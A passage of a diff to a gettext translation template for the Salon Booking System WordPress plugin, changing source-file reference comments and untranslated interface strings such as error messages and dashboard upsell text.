System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:464\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:298\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:328\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1382\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:299\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:342\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:514\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:660\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:531\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:211\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:241\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1552\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:297\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:361\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:468\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:151\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:763\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:322\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:100\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:464\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:298\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:328\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1382\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:299\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:342\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:514\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:660\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:531\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:211\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:241\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1552\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:297\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:361\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:468\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:151\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:763\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:322\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:100\n+msgid \"Unique identifier for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FOnNoShow.php:39\n-msgid \"Booking not found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fresource.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:116\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fresource.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:116\n+msgid \"Units per session\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:22\n-msgid \"Invalid filename.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:225\n+msgid \"unknown\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveUploadedFile.php:39\n-msgid \"Invalid file path.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:501\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:501\n+msgid \"Unknown API error\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:38, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:38, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:38\n-msgid \"Sorry, you are not allowed to reschedule this booking.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1017\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:831\n+msgid \"Unknown Product\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:20, src\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:18, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:18, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:18, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:18\n-msgid \"E-mail sent\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:205\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:205\n+msgid \"Unlock advanced booking pattern analysis\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php:37, src\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:19, src\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:13\n-msgid \"User not found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:541\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:541\n+msgid \"Unlock at-risk customer tracking and retention insights\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:25, src\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:19, 